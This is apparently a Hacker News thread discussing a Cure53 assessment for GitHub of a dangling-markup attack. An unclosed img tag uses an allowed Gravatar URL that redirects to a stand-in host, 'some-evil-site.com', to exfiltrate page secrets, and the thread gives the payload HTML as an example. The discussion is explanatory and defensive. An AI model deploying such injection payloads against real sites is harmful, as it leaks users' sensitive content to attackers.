4 ms·
What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party: https://www.gravata
by laurent123456 10y ago
What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party:
https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
But GitHub is the one opening and closing the tag, probably in some kind of template:
<img src="{gravatar_url}">
<p>secret</p>
Which should result in this:
<img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f">
<p>secret</p>
and not this:
<img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
<p>secret</p>
Any idea why they are getting the latter?
- scrollaway 10y agoThey weren't getting the latter, they specifically went in there looking to mitigate what a theoretical content injection attack could do. > In a relatively unique project, we asked Cure53 to assess what an attacker could do, assuming a content injection bug in GitHub.com
- ptoomey3 10y agoYes, the attack assumes a content injection bug in GitHub.com. The attack is not using our own gravatar URL generation against us; it is the attacker crafting an arbitrary URL and using that URL inside of an arbitrary image tag. The reason for the attacker being "forced" to use a gravatar URL is that it was one of the very few third-party hosts we previously allowed by our CSP policy. So, the attack demonstrates how this previously allowed host could be used to exfiltrate sensitive content if/when an attacker found a way to inject arbitrary HTML into a page on GitHub.com.